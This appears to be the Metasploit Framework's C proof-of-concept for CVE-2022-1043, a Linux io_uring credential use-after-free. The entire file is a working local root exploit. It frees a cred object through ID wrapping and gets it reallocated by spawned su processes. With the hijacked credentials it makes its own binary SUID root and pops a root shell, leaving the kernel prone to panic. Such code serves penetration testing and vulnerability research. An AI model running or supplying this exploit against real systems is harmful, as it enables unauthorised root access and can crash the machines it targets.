metasploit-framework/external/source/exploits/CVE-2022-1043/cve-2022-1043.c

475 lines
12 KiB
C

/* PoC for CVE-2022-1043, a bug in io_uring leading to an additional put_cred()
* that can be exploited to hijack credentials of other processes.
*
* We spawn SUID programs to get the free'd cred object reallocated by a
* privileged process and abuse them to create a SUID root binary ourselves
* that'll pop a shell.
*
* The dangling cred pointer will, however, lead to a kernel panic as soon as
* the task terminates and its credentials are destroyed. We therefore detach
* from the controlling terminal, block all signals and rest in silence until
* the system shuts down and we get killed hard, just to cry in vain, seeing
* the kernel collapse.
*
* The bug affected kernels from v5.12-rc3 to v5.14-rc7 and has been fixed by
* commit a30f895ad323 ("io_uring: fix xa_alloc_cycle() error return value
* check").
*
* user@box:~$ gcc -pthread cve-2022-1043.c -o cve-2022-1043
* user@box:~$ ./cve-2022-1043
* [~] forking helper process...
* [~] creating worker threads...
* [~] ID wrapped after 65536 allocation attempts! (id = 1)
* [~] ID wrapped again after 131071 allocation attempts! (id = 1)
* [~] waiting for creds to get reallocated...
* [.] reused by uninteresting EUID -16843010 (PaX MEMORY_SANITIZE?)
* [.] reused by uninteresting EUID 1000
* [*] waiting for root shell...
* # id
* uid=0(root) gid=0(root) groups=0(root),1000(user)
*
* (c) 2022 Open Source Security, Inc.
*
* - minipli
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
*/
#define _GNU_SOURCE
#include <linux/io_uring.h>
#include <sys/syscall.h>
#include <sys/prctl.h>
#include <sys/stat.h>
#include <sys/mman.h>
#include <sys/wait.h>
#include <pthread.h>
#include <unistd.h>
#include <limits.h>
#include <signal.h>
#include <stdbool.h>
#include <stdlib.h>
#include <stdarg.h>
#include <sched.h>
#include <stdio.h>
#include <fcntl.h>
#define MEM_SANITIZE_UID ((uid_t)0xfefefefefefefefe)
#define IORING_ID_MAX USHRT_MAX
#if 0
#define SUID_HELPER "/bin/passwd", "-S"
#else
#define SUID_HELPER "/usr/bin/su" /* noisier, but faster! */
#endif
#define NUM_PROCS 10
extern char **environ;
static struct shmem { volatile int check; } *shmem;
static int process_pipes[2][2] = { { -1, -1 }, { -1, -1 } };
static int thread_pipe[2] = { -1, -1 };
static __thread bool allowed_to_die = true;
static int fd = -1;
#ifndef __NR_io_uring_setup
#define __NR_io_uring_setup 425
#endif
static int io_uring_setup(unsigned int entries, struct io_uring_params *p)
{
return syscall(__NR_io_uring_setup, entries, p);
}
#ifndef __NR_io_uring_register
#define __NR_io_uring_register 427
#endif
static int io_uring_register(int fd, unsigned int oc, void *arg,
unsigned int nr_args)
{
return syscall(__NR_io_uring_register, fd, oc, arg, nr_args);
}
static void zombify(int closefds) {
sigset_t set;
sigfillset(&set);
sigprocmask(SIG_BLOCK, &set, NULL);
if (closefds) {
close(process_pipes[0][0]);
close(process_pipes[0][1]);
close(process_pipes[1][0]);
close(process_pipes[1][1]);
close(thread_pipe[0]);
close(thread_pipe[1]);
close(0);
close(1);
close(2);
}
for (;;)
pause();
}
#define _msg(e, fmt,...) msg(e, fmt "\n", ##__VA_ARGS__)
#define die(fmt,...) _msg(1, "[!] " fmt, ##__VA_ARGS__)
#define err(fmt,...) _msg(1, "[!] " fmt ": %m", ##__VA_ARGS__)
#define warn(fmt,...) _msg(0, "[-] " fmt, ##__VA_ARGS__)
#define info(fmt,...) _msg(0, "[~] " fmt, ##__VA_ARGS__)
#define info2(fmt,...) _msg(0, "[.] " fmt, ##__VA_ARGS__)
#define info3(fmt,...) _msg(0, "[*] " fmt, ##__VA_ARGS__)
static void msg(int die, const char *fmt,...) __attribute__((format(printf,2,3)));
static void msg(int die, const char *fmt,...) {
va_list va;
va_start(va, fmt);
vprintf(fmt, va);
va_end(va);
if (die) {
if (!allowed_to_die) {
warn("not allowed to die, zombie time!");
zombify(1);
} else
exit(1);
}
}
static bool pin_cpu(int cpu) {
cpu_set_t cpus;
CPU_ZERO(&cpus);
CPU_SET(cpu, &cpus);
return !!sched_setaffinity(0, sizeof(cpus), &cpus);
}
static bool is_suid(const char *path) {
struct stat buf;
if (stat(path, &buf))
return false;
return buf.st_uid == 0 && (buf.st_mode & 04111) == 04111;
}
static void *do_trigger(void *arg) {
uid_t uid, last_uid;
int last, ret, i;
int wrapped;
/* Plan:
* - setuid(getuid()) to get some fresh unshared creds
* - register/unregister loop until ID wrapped twice (and cred put)
* - switch CPU and signal helper to unregister and do the final put of our
* creds to avoid hitting sanity checks in __put_cred()
* - wait until cred got reallocated by a privileged process
* - pin hijacked cred by registering once more
* - abuse creds to make /proc/self/exe SUID root
* - rest in silence
*/
/* Get a fresh cred object */
uid = getuid();
if (setuid(uid))
err("%s: setuid(%d)", __func__, uid);
/* Trigger bug by making the ID wrap */
wrapped = 0;
ret = last = -1;
for (i = 0; i < 2 * IORING_ID_MAX + 1; i++) {
ret = io_uring_register(fd, IORING_REGISTER_PERSONALITY, NULL, 0);
if (ret < 0) {
err("%s: io_uring_register(IORING_REGISTER_PERSONALITY) # %d",
__func__, i);
}
if (last < ret)
last = ret;
if (ret < last) {
info("ID wrapped%s after %d allocation attempts! (id = %d)",
wrapped ? " again" : "", i+1, ret);
/* We do the first put ourselves, only the final one needs to be
* done by a different task.
*/
wrapped++;
if (wrapped == 2)
break;
last = ret;
}
if (io_uring_register(fd, IORING_UNREGISTER_PERSONALITY, NULL, ret)) {
err("%s: io_uring_register(IORING_UNREGISTER_PERSONALITY, %d)",
__func__, ret);
}
}
/* If we triggered the bug, we have no valid creds any more, we're not
* allowed to terminate!
*/
if (wrapped)
allowed_to_die = false;
if (wrapped < 2) {
die("IDs didn't wrap%s after %d allocation attempts?!?",
wrapped ? " often enough" : "", i);
}
/* Switch CPUs to not trip the checks in __put_cred() about destroying our
* own creds via the RCU worker.
*/
if (pin_cpu(1))
err("%s: failed to pin to CPU #%d", __func__, 1);
/* Signal helper to unregister */
if (write(thread_pipe[1], &ret, sizeof(ret)) < (int)sizeof(ret))
err("%s: failed to signal helper thread", __func__);
/* Wait for creds to be reallocated by a privileged process */
info("waiting for creds to get reallocated...");
last_uid = uid;
for (;;) {
static int print_limit = 5;
uid_t new_uid;
char ch;
/* Wait for a flock of root creds getting allocated */
while (!shmem->check)
usleep(1);
/* Non-faulting sanity checks first */
if (prctl(PR_GET_SECUREBITS, 0, 0, 0, 0) != 0)
goto next_batch;
for (i = 0; i < 40; i++) {
if (prctl(PR_CAPBSET_READ, i, 0, 0, 0) != 1)
goto next_batch;
}
/* Check EUID, as we're spawning SUID processes */
new_uid = geteuid();
if (new_uid == 0)
break;
/* Show some progress along the way... */
if (new_uid != last_uid && print_limit) {
bool mem_sanititze = new_uid == MEM_SANITIZE_UID;
info2("reused by uninteresting EUID %d%s", new_uid,
mem_sanititze ? " (PaX MEMORY_SANITIZE?)" : "");
print_limit--;
if (print_limit == 0)
info("muting further changes, waiting for root creds!");
}
last_uid = new_uid;
next_batch: /* Reap the zombies and try again */
shmem->check = 0;
}
/* Prevent the hijacked creds from vanishing under us by grabbing another
* reference.
*/
ret = io_uring_register(fd, IORING_REGISTER_PERSONALITY, NULL, 0);
if (ret < 0)
err("%s: io_uring_register(IORING_REGISTER_PERSONALITY) for foreign cred pinning",
__func__);
/* Give any possibly pending LSM setup time to finish. */
usleep(250 * 1000);
/* Make this binary SUID root */
if (chown("/proc/self/exe", 0, (gid_t)-1))
err("chown() failed! bad creds?");
if (chmod("/proc/self/exe", 04755))
err("chmod() failed! bad creds?");
info3("waiting for root shell...");
/* Let the spawner reap the zombies and spawn our shell. */
shmem->check = 0;
zombify(1);
return arg;
}
static void *do_unregister(void *arg) {
int id;
/* Wait for do_trigger() to align the stars^Wcreds */
switch (read(thread_pipe[0], &id, sizeof(id))) {
case sizeof(id):
break;
case 0:
return arg;
default:
err("%s: read()", __func__);
}
/* Final put_cred() for the other thread's creds */
if (io_uring_register(fd, IORING_UNREGISTER_PERSONALITY, NULL, id)) {
err("%s: io_uring_register(IORING_UNREGISTER_PERSONALITY, %d)",
__func__, id);
}
/* Let the SUID spawner know we're ready */
if (write(process_pipes[0][1], "1", 1) <= 0)
err("%s: write(pipe)", __func__);
return arg;
}
static void suid_spawner(int pipe_rd, int pipe_wr) {
char *argv[] = { SUID_HELPER, NULL };
int procs = 0;
char ch;
shmem->check = 0;
if (prctl(PR_SET_PDEATHSIG, SIGKILL, 0, 0, 0) < 0)
err("%s: prctl(PR_SET_PDEATHSIG)", __func__);
/* Signal we're ready */
if (write(pipe_wr, "1", 1) <= 0)
err("%s: write(pipe)", __func__);
/* Wait for the trigger */
if (read(pipe_rd, &ch, sizeof(ch)) <= 0)
err("%s: read(pipe)", __func__);
for (;;) {
/* Break as soon as we were able to exploit the hijacked privs */
if (is_suid("/proc/self/exe")) {
while (procs--)
wait(NULL);
execve("/proc/self/exe", (char *const []){ argv[0], NULL }, environ);
err("%s: exec(self)", __func__);
}
switch (fork()) {
case -1:
usleep(1);
break;
case 0:
/* Ensure the forked helper stays silent */
close(0); close(1); close(2);
execve(argv[0], argv, environ);
exit(1);
default:
procs++;
}
if (procs >= NUM_PROCS) {
/* Sync with do_trigger() before reaping processes */
shmem->check = 1;
while (shmem->check)
usleep(1);
if (wait(NULL) > 0)
procs--;
while (waitpid(-1, NULL, WNOHANG) > 0)
procs--;
}
}
}
static int child(void) {
struct io_uring_params p = { };
pthread_t threads[2];
if (daemon(1, 1))
err("parent: daemon()");
fd = io_uring_setup(1, &p);
if (fd < 0)
err("parent: io_uring_setup()");
info("creating worker threads...");
if (pipe(thread_pipe))
err("parent: pipe()");
if (pthread_create(&threads[0], NULL, do_trigger, NULL) ||
pthread_create(&threads[1], NULL, do_unregister, NULL))
err("pthread_create()");
pthread_join(threads[1], NULL);
/* do_trigger() zombifies itself, no need to wait for it */
zombify(0);
return 1;
}
int main(int argc, char *argv[]) {
pid_t pid;
char ch;
if (!getuid())
die("ahem...");
/* Fast lane for the SUID path */
if (!geteuid()) {
if (setuid(0) || setgid(0))
err("set*id(0)");
execve(argv[0], argv, NULL);
err("execve('%s') failed", argv[0]);
}
/* Ensure all tasks start on the same CPU to share SLUB's partial slabs */
if (pin_cpu(0))
err("failed to pin to CPU #%d", 0);
info("forking helper process...");
if (pipe(process_pipes[0]) < 0 || pipe(process_pipes[1]) < 0)
err("pipe()");
shmem = mmap(NULL, sysconf(_SC_PAGESIZE), PROT_READ | PROT_WRITE,
MAP_ANONYMOUS | MAP_SHARED, -1, 0);
if (shmem == MAP_FAILED)
err("mmap(shmem");
pid = fork();
switch (pid) {
case 0: suid_spawner(process_pipes[0][0], process_pipes[1][1]);
/* fall-through -- not! */
case -1: err("fork()");
}
/* Wait till the child is ready to ensure proper process reaping */
if (read(process_pipes[1][0], &ch, sizeof(ch)) <= 0)
err("parent: read(pipe)");
/* Detach from the controlling terminal, we might need to sleep forever */
switch (fork()) {
int status;
default: wait(&status); break;
case -1: err("fork()"); break;
case 0: exit(child());
}
/* Wait for the SUID spawner to finish */
waitpid(pid, NULL, 0);
return 0;
}